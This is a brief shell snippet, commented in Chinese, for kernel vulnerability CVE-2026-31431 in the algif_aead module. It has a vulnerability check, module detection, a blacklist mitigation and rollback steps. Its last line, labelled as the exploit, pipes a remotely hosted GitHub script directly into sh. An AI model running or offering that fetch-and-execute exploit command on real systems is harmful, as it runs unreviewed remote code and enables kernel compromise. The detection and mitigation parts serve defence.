CVE-2026-31431

# 测试：检查漏洞
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'

# 检查模块
# 检查模块是否已加载到内核中
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"

# 修复：移除该模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

# 回滚：重新加载该模块
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a

# 漏洞利用
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh